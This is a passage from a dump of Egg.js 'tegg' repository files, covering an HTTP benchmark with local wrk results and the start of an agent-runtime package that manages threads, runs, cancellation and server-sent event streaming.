module。\n\n```json\n[{ \"path\": \"../app/modules/foo\" }]\n```\n\n支持通过 `package` 引用使用 npm 发布的 module。\n\n```json\n[{ \"package\": \"foo\" }]\n```\n"
  },
  {
    "path": "tegg/benchmark/http/.gitignore",
    "content": "*.d.ts\n*.js\n*.log\n"
  },
  {
    "path": "tegg/benchmark/http/README.md",
    "content": "# tegg benchmark http\n\n## Prepare\n\nInstall [wrk](https://github.com/wg/wrk) first:\n\n```bash\nbrew install wrk\n```\n\nInstall dependencies\n\n```bash\nnpm install\n```\n\n## Run benchmark\n\n```bash\nnpm run bench\n```\n\n## Benchmark Result\n\n### Summary\n\n| Controller Type       | Node.js Version | Egg.js Version | Requests/sec | Transfer/sec |\n| --------------------- | --------------- | -------------- | ------------ | ------------ |\n| egg router Controller | v24.10.0        | 4.1.0-beta.33  | 133392       | 49.23MB      |\n| egg router Controller | v22.21.0        | 4.1.0-beta.33  | 100761       | 37.18MB      |\n| egg router Controller | v20.19.5        | 4.1.0-beta.33  | 93121        | 34.36MB      |\n| tegg HttpController   | v24.10.0        | 4.1.0-beta.33  | 128504       | 47.42MB      |\n| tegg HttpController   | v22.21.0        | 4.1.0-beta.33  | 93810        | 34.61MB      |\n| tegg HttpController   | v20.19.5        | 4.1.0-beta.33  | 86062        | 31.76MB      |\n\n### 2025-10-29\n\n```bash\n------- System info -------\nOS: Darwin Kernel Version 25.0.0: Wed Sep 17 21:41:26 PDT 2025; root:xnu-12377.1.9~141/RELEASE_ARM64_T6041 arm64\nCPU Model: Apple M4 Max, Speed: 2400 MHz, Cores: 16\nNode.js: v24.10.0\nDate: Wed Oct 29 13:48:23 CST 2025\n\n------- tegg HttpController vs egg router Controller -------\nhello,  egg@4.1.0-beta.33\nhello, tegg@4.1.0-beta.33\n\n------- egg router Controller -------\nRunning 10s test @ http://127.0.0.1:7001/hello-egg\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency   389.00us  365.01us  23.36ms   94.82%\n    Req/Sec    16.76k     1.82k   19.84k    73.51%\n  1347203 requests in 10.10s, 497.20MB read\nRequests/sec: 133392.50\nTransfer/sec:     49.23MB\n\n------- tegg HttpController -------\nRunning 10s test @ http://127.0.0.1:7001/hello-tegg\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency   389.92us  208.51us   4.81ms   89.76%\n    Req/Sec    16.14k     1.24k   18.72k    68.32%\n  1297855 requests in 10.10s, 478.95MB read\nRequests/sec: 128504.43\nTransfer/sec:     47.42MB\n\n------- System info -------\nOS: Darwin Kernel Version 25.0.0: Wed Sep 17 21:41:26 PDT 2025; root:xnu-12377.1.9~141/RELEASE_ARM64_T6041 arm64\nCPU Model: Apple M4 Max, Speed: 2400 MHz, Cores: 16\nNode.js: v22.21.0\nDate: Wed Oct 29 13:41:52 CST 2025\n\n------- tegg HttpController vs egg router Controller -------\nhello,  egg@4.1.0-beta.33\nhello, tegg@4.1.0-beta.33\n\n------- egg router Controller -------\nRunning 10s test @ http://127.0.0.1:7001/hello-egg\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency   492.14us  416.11us  24.06ms   96.67%\n    Req/Sec    12.66k     1.64k   15.62k    74.50%\n  1017693 requests in 10.10s, 375.49MB read\nRequests/sec: 100761.07\nTransfer/sec:     37.18MB\n\n------- tegg HttpController -------\nRunning 10s test @ http://127.0.0.1:7001/hello-tegg\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency   524.98us  320.62us  13.36ms   93.56%\n    Req/Sec    11.78k     1.12k   13.65k    65.72%\n  947462 requests in 10.10s, 349.60MB read\nRequests/sec:  93810.11\nTransfer/sec:     34.61MB\n```\n\n```bash\n------- System info -------\nOS: Darwin Kernel Version 25.0.0: Wed Sep 17 21:41:26 PDT 2025; root:xnu-12377.1.9~141/RELEASE_ARM64_T6041 arm64\nCPU Model: Apple M4 Max, Speed: 2400 MHz, Cores: 16\nNode.js: v20.19.5\nDate: Wed Oct 29 13:44:01 CST 2025\n\n------- tegg HttpController vs egg router Controller -------\nhello,  egg@4.1.0-beta.33\nhello, tegg@4.1.0-beta.33\n\n------- egg router Controller -------\nRunning 10s test @ http://127.0.0.1:7001/hello-egg\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency   531.45us  439.23us  24.57ms   96.61%\n    Req/Sec    11.70k     1.35k   14.26k    71.53%\n  940525 requests in 10.10s, 347.04MB read\nRequests/sec:  93121.15\nTransfer/sec:     34.36MB\n\n------- tegg HttpController -------\nRunning 10s test @ http://127.0.0.1:7001/hello-tegg\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency   559.66us  183.78us   5.79ms   85.83%\n    Req/Sec    10.81k     0.87k   12.46k    69.06%\n  869205 requests in 10.10s, 320.75MB read\nRequests/sec:  86062.86\nTransfer/sec:     31.76MB\n```\n"
  },
  {
    "path": "tegg/benchmark/http/app/controller/FooTeggController.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';\nimport pkg from 'egg/package.json' with { type: 'json' };\n\n@HTTPController()\nexport default class FooTeggController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/hello-tegg',\n  })\n  async hello(): Promise<string> {\n    return `hello, tegg@${pkg.version}`;\n  }\n}\n"
  },
  {
    "path": "tegg/benchmark/http/app/controller/template/egg_controller_1.ts",
    "content": "import { Controller } from 'egg';\nimport pkg from 'egg/package.json' with { type: 'json' };\n\nexport default class EggController1 extends Controller {\n  async hello() {\n    this.ctx.body = `hello,  egg@${pkg.version}`;\n  }\n}\n"
  },
  {
    "path": "tegg/benchmark/http/app/router.ts",
    "content": "import type { Application } from 'egg';\n\nexport default (app: Application) => {\n  app.get('/hello-egg', app.controller.template.eggController_1.hello);\n};\n"
  },
  {
    "path": "tegg/benchmark/http/config/config.default.ts",
    "content": "import { defineConfig, type PartialEggConfig } from 'egg';\n\nexport default defineConfig({\n  keys: 'tegg_benchmark',\n}) as PartialEggConfig;\n"
  },
  {
    "path": "tegg/benchmark/http/package.json",
    "content": "{\n  \"name\": \"tegg_benchmark\",\n  \"type\": \"module\",\n  \"scripts\": {\n    \"start\": \"eggctl start --workers 4\",\n    \"stop\": \"eggctl stop\",\n    \"dev\": \"egg-bin dev\",\n    \"build\": \"tsc\",\n    \"prebench\": \"npm run build\",\n    \"bench\": \"sh run.sh\"\n  },\n  \"dependencies\": {\n    \"@eggjs/tsconfig\": \"beta\",\n    \"@types/node\": \"24\",\n    \"egg\": \"beta\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/bin\": \"beta\",\n    \"@eggjs/scripts\": \"beta\",\n    \"typescript\": \"5\"\n  }\n}\n"
  },
  {
    "path": "tegg/benchmark/http/run.sh",
    "content": "#!/usr/bin/env bash\n\necho\nnpm start > output.log 2>&1 &\npid=$!\n\n# print os and cpu info\necho \"------- System info -------\"\necho \"OS: $(uname -mv)\"\necho \"CPU Model: $(node -p 'os.cpus()[0].model'), Speed: $(node -p 'os.cpus()[0].speed') MHz, Cores: $(node -p 'os.cpus().length')\"\necho \"Node.js: $(node --version)\"\necho \"Date: $(date)\"\n\nsleep 3\n\necho \"\\n------- tegg HttpController vs egg router Controller -------\"\ncurl 'http://127.0.0.1:7001/hello-egg'\necho \"\"\ncurl 'http://127.0.0.1:7001/hello-tegg'\necho \"\"\n\necho \"\\n------- egg router Controller -------\"\nwrk 'http://127.0.0.1:7001/hello-egg' \\\n  -d 10 \\\n  -c 50 \\\n  -t 8\n\necho \"\\n------- tegg HttpController -------\"\nwrk 'http://127.0.0.1:7001/hello-tegg' \\\n  -d 10 \\\n  -c 50 \\\n  -t 8\n\nnpm stop\n"
  },
  {
    "path": "tegg/benchmark/http/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\"\n}\n"
  },
  {
    "path": "tegg/core/agent-runtime/package.json",
    "content": "{\n  \"name\": \"@eggjs/agent-runtime\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"Agent runtime with store abstraction for Egg.js tegg\",\n  \"keywords\": [\n    \"agent\",\n    \"egg\",\n    \"runtime\",\n    \"store\",\n    \"tegg\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/agent-runtime\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/agent-runtime\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./AgentRuntime\": \"./src/AgentRuntime.ts\",\n    \"./AgentStoreUtils\": \"./src/AgentStoreUtils.ts\",\n    \"./HttpSSEWriter\": \"./src/HttpSSEWriter.ts\",\n    \"./MessageConverter\": \"./src/MessageConverter.ts\",\n    \"./OSSAgentStore\": \"./src/OSSAgentStore.ts\",\n    \"./OSSObjectStorageClient\": \"./src/OSSObjectStorageClient.ts\",\n    \"./RunBuilder\": \"./src/RunBuilder.ts\",\n    \"./SSEWriter\": \"./src/SSEWriter.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./AgentRuntime\": \"./dist/AgentRuntime.js\",\n      \"./AgentStoreUtils\": \"./dist/AgentStoreUtils.js\",\n      \"./HttpSSEWriter\": \"./dist/HttpSSEWriter.js\",\n      \"./MessageConverter\": \"./dist/MessageConverter.js\",\n      \"./OSSAgentStore\": \"./dist/OSSAgentStore.js\",\n      \"./OSSObjectStorageClient\": \"./dist/OSSObjectStorageClient.js\",\n      \"./RunBuilder\": \"./dist/RunBuilder.js\",\n      \"./SSEWriter\": \"./dist/SSEWriter.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\",\n    \"test\": \"vitest run\"\n  },\n  \"dependencies\": {\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"egg-logger\": \"catalog:\",\n    \"oss-client\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/agent-runtime/src/AgentRuntime.ts",
    "content": "import type {\n  CreateRunInput,\n  ThreadObject,\n  ThreadObjectWithMessages,\n  RunObject,\n  MessageObject,\n  MessageDeltaObject,\n  MessageContentBlock,\n  AgentStreamMessage,\n  AgentStore,\n} from '@eggjs/tegg-types/agent-runtime';\nimport { RunStatus, AgentSSEEvent, AgentObjectType } from '@eggjs/tegg-types/agent-runtime';\nimport { AgentConflictError } from '@eggjs/tegg-types/agent-runtime';\nimport type { EggLogger } from 'egg-logger';\n\nimport { newMsgId } from './AgentStoreUtils.ts';\nimport { MessageConverter } from './MessageConverter.ts';\nimport { RunBuilder } from './RunBuilder.ts';\nimport type { RunUsage } from './RunBuilder.ts';\nimport type { SSEWriter } from './SSEWriter.ts';\n\nexport const AGENT_RUNTIME: unique symbol = Symbol('agentRuntime');\n\n/**\n * The executor interface — only requires execRun so the runtime can delegate\n * execution back through the controller's prototype chain (AOP/mock friendly).\n */\nexport interface AgentExecutor {\n  execRun(input: CreateRunInput, signal?: AbortSignal): AsyncGenerator<AgentStreamMessage>;\n}\n\nexport interface AgentRuntimeOptions {\n  executor: AgentExecutor;\n  store: AgentStore;\n  logger: EggLogger;\n}\n\nexport class AgentRuntime {\n  private static readonly TERMINAL_RUN_STATUSES = new Set<RunStatus>([\n    RunStatus.Completed,\n    RunStatus.Failed,\n    RunStatus.Cancelled,\n    RunStatus.Expired,\n  ]);\n\n  private store: AgentStore;\n  private runningTasks: Map<string, { promise: Promise<void>; abortController: AbortController }>;\n  private executor: AgentExecutor;\n  private logger: EggLogger;\n\n  constructor(options: AgentRuntimeOptions) {\n    this.executor = options.executor;\n    this.store = options.store;\n    if (!options.logger) {\n      throw new Error('AgentRuntimeOptions.logger is required');\n    }\n    this.logger = options.logger;\n    this.runningTasks = new Map();\n  }\n\n  async createThread(): Promise<ThreadObject> {\n    const thread = await this.store.createThread();\n    return {\n      id: thread.id,\n      object: AgentObjectType.Thread,\n      createdAt: thread.createdAt,\n      metadata: thread.metadata ?? {},\n    };\n  }\n\n  async getThread(threadId: string): Promise<ThreadObjectWithMessages> {\n    const thread = await this.store.getThread(threadId);\n    return {\n      id: thread.id,\n      object: AgentObjectType.Thread,\n      createdAt: thread.createdAt,\n      metadata: thread.metadata ?? {},\n      messages: thread.messages,\n    };\n  }\n\n  private async ensureThread(input: CreateRunInput): Promise<{ threadId: string; input: CreateRunInput }> {\n    if (input.threadId) {\n      return { threadId: input.threadId, input };\n    }\n    const thread = await this.store.createThread();\n    return { threadId: thread.id, input: { ...input, threadId: thread.id } };\n  }\n\n  async syncRun(input: CreateRunInput, signal?: AbortSignal): Promise<RunObject> {\n    const { threadId, input: resolvedInput } = await this.ensureThread(input);\n    input = resolvedInput;\n\n    const run = await this.store.createRun(input.input.messages, threadId, input.config, input.metadata);\n    const rb = RunBuilder.create(run, threadId);\n\n    // Bridge external signal to an internal AbortController so cancelRun can abort syncRun\n    const abortController = new AbortController();\n    if (signal) {\n      if (signal.aborted) {\n        abortController.abort();\n      } else {\n        signal.addEventListener('abort', () => abortController.abort(), { once: true });\n      }\n    }\n\n    // Register in runningTasks so cancelRun can find and await this run.\n    // Use a real pending promise (not Promise.resolve()) so cancelRun's\n    // `await task.promise` blocks until syncRun's try/finally completes.\n    let resolveTask!: () => void;\n    const taskPromise = new Promise<void>((r) => {\n      resolveTask = r;\n    });\n    this.runningTasks.set(run.id, { promise: taskPromise, abortController });\n\n    try {\n      await this.store.updateRun(run.id, rb.start());\n\n      const streamMessages: AgentStreamMessage[] = [];\n      for await (const msg of this.executor.execRun(input, abortController.signal)) {\n        if (abortController.signal.aborted) {\n          // Run was cancelled externally — re-read store for the latest state\n          const latest = await this.store.getRun(run.id);\n          return RunBuilder.fromRecord(latest).snapshot();\n        }\n        streamMessages.push(msg);\n      }\n\n      const { output, usage } = MessageConverter.extractFromStreamMessages(streamMessages, run.id);\n\n      // Append messages first so that if updateRun fails the run stays in_progress\n      // and can be retried, rather than showing completed with missing thread history.\n      // TODO(atomicity): for full consistency, add an aggregate store method\n      // (e.g. completeRunWithMessages) that wraps both writes in a single transaction.\n      await this.store.appendMessages(threadId, [\n        ...MessageConverter.toInputMessageObjects(input.input.messages, threadId),\n        ...output,\n      ]);\n\n      await this.store.updateRun(run.id, rb.complete(output, usage));\n\n      return rb.snapshot();\n    } catch (err: unknown) {\n      if (abortController.signal.aborted) {\n        // Cancelled — re-read store for the latest state\n        const latest = await this.store.getRun(run.id);\n        return RunBuilder.fromRecord(latest).snapshot();\n      }\n      try {\n        await this.store.updateRun(run.id, rb.fail(err as Error));\n      } catch (storeErr) {\n        this.logger.error('[AgentRuntime] failed to update run status after syncRun error:', storeErr);\n      }\n      throw err;\n    } finally {\n      resolveTask();\n      this.runningTasks.delete(run.id);\n    }\n  }\n\n  async asyncRun(input: CreateRunInput): Promise<RunObject> {\n    const { threadId, input: resolvedInput } = await this.ensureThread(input);\n    input = resolvedInput;\n\n    const run = await this.store.createRun(input.input.messages, threadId, input.config, input.metadata);\n    const rb = RunBuilder.create(run, threadId);\n\n    const abortController = new AbortController();\n\n    // Capture queued snapshot before background task mutates state\n    const queuedSnapshot = rb.snapshot();\n\n    // Register in runningTasks before the IIFE starts executing to avoid a race\n    // where the IIFE's finally block deletes the entry before it is set.\n    let resolveTask!: () => void;\n    const taskPromise = new Promise<void>((r) => {\n      resolveTask = r;\n    });\n    this.runningTasks.set(run.id, { promise: taskPromise, abortController });\n\n    (async () => {\n      try {\n        await this.store.updateRun(run.id, rb.start());\n\n        const streamMessages: AgentStreamMessage[] = [];\n        for await (const msg of this.executor.execRun(input, abortController.signal)) {\n          if (abortController.signal.aborted) return;\n          streamMessages.push(msg);\n        }\n\n        // Check if another worker has cancelled this run before writing final state\n        const currentRun = await this.store.getRun(run.id);\n        if (currentRun.status === RunStatus.Cancelling || currentRun.status === RunStatus.Cancelled) {\n          return;\n        }\n\n        const { output, usage } = MessageConverter.extractFromStreamMessages(streamMessages, run.id);\n\n        // Append messages before marking run as completed — see syncRun comment.\n        // TODO(atomicity): add aggregate store method for full transactional guarantee.\n        await this.store.appendMessages(threadId, [\n          ...MessageConverter.toInputMessageObjects(input.input.messages, threadId),\n          ...output,\n        ]);\n\n        await this.store.updateRun(run.id, rb.complete(output, usage));\n      } catch (err: unknown) {\n        if (!abortController.signal.aborted) {\n          // Check store before writing failed state — another worker may have cancelled\n          try {\n            const currentRun = await this.store.getRun(run.id);\n            if (currentRun.status !== RunStatus.Cancelling && currentRun.status !== RunStatus.Cancelled) {\n              await this.store.updateRun(run.id, rb.fail(err as Error));\n            }\n          } catch (storeErr) {\n            // TODO: need a background expiry mechanism to clean up runs stuck in non-terminal states\n            // (e.g. in_progress or cancelling) when store writes fail persistently.\n            this.logger.error('[AgentRuntime] failed to update run status after error:', storeErr);\n          }\n        } else {\n          this.logger.error('[AgentRuntime] execRun error during abort:', err);\n        }\n      } finally {\n        resolveTask();\n        this.runningTasks.delete(run.id);\n      }\n    })();\n\n    return queuedSnapshot;\n  }\n\n  async streamRun(input: CreateRunInput, writer: SSEWriter): Promise<void> {\n    // Abort execRun generator when client disconnects\n    const abortController = new AbortController();\n    writer.onClose(() => abortController.abort());\n\n    const { threadId, input: resolvedInput } = await this.ensureThread(input);\n    input = resolvedInput;\n\n    const run = await this.store.createRun(input.input.messages, threadId, input.config, input.metadata);\n    const rb = RunBuilder.create(run, threadId);\n\n    // Register in runningTasks so cancelRun/destroy can manage streaming runs.\n    let resolveTask!: () => void;\n    const taskPromise = new Promise<void>((r) => {\n      resolveTask = r;\n    });\n    this.runningTasks.set(run.id, { promise: taskPromise, abortController });\n\n    // event: thread.run.created\n    writer.writeEvent(AgentSSEEvent.ThreadRunCreated, rb.snapshot());\n\n    // event: thread.run.in_progress\n    await this.store.updateRun(run.id, rb.start());\n    writer.writeEvent(AgentSSEEvent.ThreadRunInProgress, rb.snapshot());\n\n    const msgId = newMsgId();\n\n    // event: thread.message.created\n    const msgObj = MessageConverter.createStreamMessage(msgId, run.id);\n    writer.writeEvent(AgentSSEEvent.ThreadMessageCreated, msgObj);\n\n    try {\n      const { content, usage, aborted } = await this.consumeStreamMessages(\n        input,\n        abortController.signal,\n        writer,\n        msgId,\n      );\n\n      if (aborted) {\n        // Skip intermediate cancelling store write — no external observer between the\n        // two states since the SSE client has already disconnected.\n        rb.cancelling();\n        try {\n          await this.store.updateRun(run.id, rb.cancel());\n        } catch (storeErr) {\n          this.logger.error('[AgentRuntime] failed to write cancelled status during stream abort:', storeErr);\n        }\n        if (!writer.closed) {\n          writer.writeEvent(AgentSSEEvent.ThreadRunCancelled, rb.snapshot());\n        }\n        return;\n      }\n\n      // event: thread.message.completed\n      const completedMsg = MessageConverter.completeMessage(msgObj, content);\n      writer.writeEvent(AgentSSEEvent.ThreadMessageCompleted, completedMsg);\n\n      // Persist and emit completion — append messages before marking run as completed\n      // so a failure leaves the run in_progress (retryable) instead of completed-but-incomplete.\n      // TODO(atomicity): add aggregate store method for full transactional guarantee.\n      const output: MessageObject[] = content.length > 0 ? [completedMsg] : [];\n      await this.store.appendMessages(threadId, [\n        ...MessageConverter.toInputMessageObjects(input.input.messages, threadId),\n        ...output,\n      ]);\n      await this.store.updateRun(run.id, rb.complete(output, usage));\n\n      // event: thread.run.completed\n      writer.writeEvent(AgentSSEEvent.ThreadRunCompleted, rb.snapshot());\n    } catch (err: unknown) {\n      if (abortController.signal.aborted) {\n        // Client disconnected or cancelRun fired — mark as cancelled, not failed\n        rb.cancelling();\n        try {\n          await this.store.updateRun(run.id, rb.cancel());\n        } catch (storeErr) {\n          this.logger.error('[AgentRuntime] failed to write cancelled status during stream error:', storeErr);\n        }\n        if (!writer.closed) {\n          writer.writeEvent(AgentSSEEvent.ThreadRunCancelled, rb.snapshot());\n        }\n      } else {\n        try {\n          await this.store.updateRun(run.id, rb.fail(err as Error));\n        } catch (storeErr) {\n          this.logger.error('[AgentRuntime] failed to update run status after error:', storeErr);\n        }\n\n        // event: thread.run.failed\n        if (!writer.closed) {\n          writer.writeEvent(AgentSSEEvent.ThreadRunFailed, rb.snapshot());\n        }\n      }\n    } finally {\n      resolveTask();\n      this.runningTasks.delete(run.id);\n\n      // event: done\n      if (!writer.closed) {\n        writer.writeEvent(AgentSSEEvent.Done, '[DONE]');\n        writer.end();\n      }\n    }\n  }\n\n  /**\n   * Consume the execRun async generator, emitting SSE message.delta events\n   * for each chunk and accumulating content blocks and token usage.\n   */\n  private async consumeStreamMessages(\n    input: CreateRunInput,\n    signal: AbortSignal,\n    writer: SSEWriter,\n    msgId: string,\n  ): Promise<{ content: MessageContentBlock[]; usage?: RunUsage; aborted: boolean }> {\n    const content: MessageContentBlock[] = [];\n    let promptTokens = 0;\n    let completionTokens = 0;\n    let hasUsage = false;\n\n    for await (const msg of this.executor.execRun(input, signal)) {\n      if (signal.aborted) {\n        return { content, usage: undefined, aborted: true as const };\n      }\n      if (msg.message) {\n        const contentBlocks = MessageConverter.toContentBlocks(msg.message);\n        content.push(...contentBlocks);\n\n        // event: thread.message.delta\n        const delta: MessageDeltaObject = {\n          id: msgId,\n          object: AgentObjectType.ThreadMessageDelta,\n          delta: { content: contentBlocks },\n        };\n        writer.writeEvent(AgentSSEEvent.ThreadMessageDelta, delta);\n      }\n      if (msg.usage) {\n        hasUsage = true;\n        promptTokens += msg.usage.promptTokens ?? 0;\n        completionTokens += msg.usage.completionTokens ?? 0;\n      }\n    }\n\n    return {\n      content,\n      usage: hasUsage ? { promptTokens, completionTokens, totalTokens: promptTokens + completionTokens } : undefined,\n      aborted: false as const,\n    };\n  }\n\n  async getRun(runId: string): Promise<RunObject> {\n    const run = await this.store.getRun(runId);\n    return RunBuilder.fromRecord(run).snapshot();\n  }\n\n  async cancelRun(runId: string): Promise<RunObject> {\n    // 1. Check current status — reject if already terminal\n    const run = await this.store.getRun(runId);\n    if (AgentRuntime.TERMINAL_RUN_STATUSES.has(run.status)) {\n      throw new AgentConflictError(`Cannot cancel run with status '${run.status}'`);\n    }\n\n    const rb = RunBuilder.fromRecord(run);\n\n    // 2. Write \"cancelling\" to store first — visible to all workers\n    await this.store.updateRun(runId, rb.cancelling());\n\n    // 3. If the task is running locally, abort it for immediate effect\n    const task = this.runningTasks.get(runId);\n    if (task) {\n      task.abortController.abort();\n      await task.promise.catch(() => {\n        /* ignore */\n      });\n    }\n\n    // 4. Re-read store to mitigate TOCTOU: if the run completed/failed between\n    //    steps 2 and 4, do not overwrite the terminal state.\n    // TODO: For full atomicity, use CAS / ETag-based conditional writes.\n    const freshRun = await this.store.getRun(runId);\n    if (AgentRuntime.TERMINAL_RUN_STATUSES.has(freshRun.status)) {\n      // Run reached a terminal state while we were cancelling — return as-is\n      return RunBuilder.fromRecord(freshRun).snapshot();\n    }\n\n    // 5. Transition to final \"cancelled\" state\n    try {\n      await this.store.updateRun(runId, rb.cancel());\n    } catch (err) {\n      this.logger.error('[AgentRuntime] failed to write cancelled state after cancelling:', err);\n      // Return best-effort snapshot from store\n      const fallback = await this.store.getRun(runId);\n      return RunBuilder.fromRecord(fallback).snapshot();\n    }\n\n    return rb.snapshot();\n  }\n\n  /** Wait for all in-flight background tasks to complete naturally (without aborting). */\n  async waitForPendingTasks(): Promise<void> {\n    if (this.runningTasks.size) {\n      const pending = Array.from(this.runningTasks.values()).map((t) => t.promise);\n      await Promise.allSettled(pending);\n    }\n  }\n\n  async destroy(): Promise<void> {\n    // Abort all in-flight background tasks, then wait for them to settle\n    for (const task of this.runningTasks.values()) {\n      task.abortController.abort();\n    }\n    await this.waitForPendingTasks();\n\n    // Destroy store\n    if (this.store.destroy) {\n      await this.store.destroy();\n    }\n  }\n\n  /** Factory method — avoids the spread-arg type issue with dynamic delegation. */\n  static create(options: AgentRuntimeOptions): AgentRuntime {\n    return new AgentRuntime(options);\n  }\n}\n"
  },
  {
    "path": "tegg/core/agent-runtime/src/AgentStoreUtils.ts",
    "content": "import crypto from 'node:crypto';\n\nexport function nowUnix(): number {\n  return Math.floor(Date.now() / 1000);\n}\n\nexport function newMsgId(): string {\n  return `msg_${crypto.randomUUID()}`;\n}\n\nexport function newThreadId(): string {\n  return `thread_${crypto.randomUUID()}`;\n}\n\nexport function newRunId(): string {\n  return `run_${crypto.randomUUID()}`;\n}\n"
  },
  {
    "path": "tegg/core/agent-runtime/src/HttpSSEWriter.ts",
    "content": "import type { ServerResponse } from 'node:http';\n\nimport type { SSEWriter } from './SSEWriter.ts';\n\nexport class HttpSSEWriter implements SSEWriter {\n  private res: ServerResponse;\n  private _closed = false;\n  private closeCallbacks: Array<() => void> = [];\n  private headersSent = false;\n  private readonly onResClose: () => void;\n\n  constructor(res: ServerResponse) {\n    this.res = res;\n    this.onResClose = () => {\n      this._closed = true;\n      for (const cb of this.closeCallbacks) cb();\n      this.closeCallbacks.length = 0;\n    };\n    res.on('close', this.onResClose);\n  }\n\n  /** Lazily write headers on first event — avoids sending corrupt headers if constructor throws. */\n  private ensureHeaders(): void {\n    if (this.headersSent) return;\n    this.headersSent = true;\n    this.res.writeHead(200, {\n      'content-type': 'text/event-stream',\n      'cache-control': 'no-cache',\n      connection: 'keep-alive',\n    });\n  }\n\n  writeEvent(event: string, data: unknown): void {\n    if (this._closed) return;\n    this.ensureHeaders();\n    this.res.write(`event: ${event}\\ndata: ${JSON.stringify(data)}\\n\\n`);\n  }\n\n  get closed(): boolean {\n    return this._closed;\n  }\n\n  end(): void {\n    if (!this._closed) {\n      this._closed = true;\n      this.res.off('close', this.onResClose);\n      this.closeCallbacks.length = 0;\n      this.res.end();\n    }\n  }\n\n  onClose(callback: () => void): void {\n    this.closeCallbacks.push(callback);\n  }\n}\n"
  },
  {
    "path": "tegg/core/agent-runtime/src/MessageConverter.ts",
    "content": "import type {\n  CreateRunInput,\n  MessageObject,\n  MessageContentBlock,\n  AgentStreamMessage,\n  AgentStreamMessagePayload,\n} from '@eggjs/tegg-types/agent-runtime';\nimport { AgentObjectType, MessageRole, MessageStatus, ContentBlockType } from '@eggjs/tegg-types/agent-runtime';\n\nimport { nowUnix, newMsgId } from './AgentStoreUtils.ts';\nimport type { RunUsage } from './RunBuilder.ts';\n\nexport class MessageConverter {\n  /**\n   * Convert an AgentStreamMessage's message payload into OpenAI MessageContentBlock[].\n   */\n  static toContentBlocks(msg: AgentStreamMessagePayload): MessageContentBlock[] {\n    if (!msg) return [];\n    const content = msg.content;\n    if (typeof content === 'string') {\n      return [{ type: ContentBlockType.Text, text: { value: content, annotations: [] } }];\n    }\n    if (Array.isArray(content)) {\n      return content\n        .filter((part) => part.type === ContentBlockType.Text)\n        .map((part) => ({ type: ContentBlockType.Text, text: { value: part.text, annotations: [] } }));\n    }\n    return [];\n  }\n\n  /**\n   * Build a completed MessageObject from an AgentStreamMessage payload.\n   */\n  static toMessageObject(msg: AgentStreamMessagePayload, runId?: string): MessageObject {\n    return {\n      id: newMsgId(),\n      object: AgentObjectType.ThreadMessage,\n      createdAt: nowUnix(),\n      runId,\n      role: MessageRole.Assistant,\n      status: MessageStatus.Completed,\n      content: MessageConverter.toContentBlocks(msg),\n    };\n  }\n\n  /**\n   * Extract MessageObjects and accumulated usage from AgentStreamMessage objects.\n   */\n  static extractFromStreamMessages(\n    messages: AgentStreamMessage[],\n    runId?: string,\n  ): {\n    output: MessageObject[];\n    usage?: RunUsage;\n  } {\n    const output: MessageObject[] = [];\n    let promptTokens = 0;\n    let completionTokens = 0;\n    let hasUsage = false;\n\n    for (const msg of messages) {\n      if (msg.message) {\n        output.push(MessageConverter.toMessageObject(msg.message, runId));\n      }\n      if (msg.usage) {\n        hasUsage = true;\n        promptTokens += msg.usage.promptTokens ?? 0;\n        completionTokens += msg.usage.completionTokens ?? 0;\n      }\n    }\n\n    let usage: RunUsage | undefined;\n    if (hasUsage) {\n      usage = {\n        promptTokens,\n        completionTokens,\n        totalTokens: promptTokens + completionTokens,\n      };\n    }\n\n    return { output, usage };\n  }\n\n  /**\n   * Produce a completed copy of a streaming MessageObject with final content.\n   */\n  static completeMessage(msg: MessageObject, content: MessageContentBlock[]): MessageObject {\n    return { ...msg, status: MessageStatus.Completed, content };\n  }\n\n  /**\n   * Create an in-progress MessageObject for streaming (before content is known).\n   */\n  static createStreamMessage(msgId: string, runId: string): MessageObject {\n    return {\n      id: msgId,\n      object: AgentObjectType.ThreadMessage,\n      createdAt: nowUnix(),\n      runId,\n      role: MessageRole.Assistant,\n      status: MessageStatus.InProgress,\n      content: [],\n    };\n  }\n\n  /**\n   * Convert input messages to MessageObjects for thread history.\n   * System messages are filtered out — they are transient instructions, not conversation history.\n   */\n  static toInputMessageObjects(messages: CreateRunInput['input']['messages'], threadId?: string): MessageObject[] {\n    return messages\n      .filter(\n        (m): m is typeof m & { role: Exclude<typeof m.role, typeof MessageRole.System> } =>\n          m.role !== MessageRole.System,\n      )\n      .map((m) => ({\n        id: newMsgId(),\n        object: AgentObjectType.ThreadMessage,\n        createdAt: nowUnix(),\n        threadId,\n        role: m.role,\n        status: 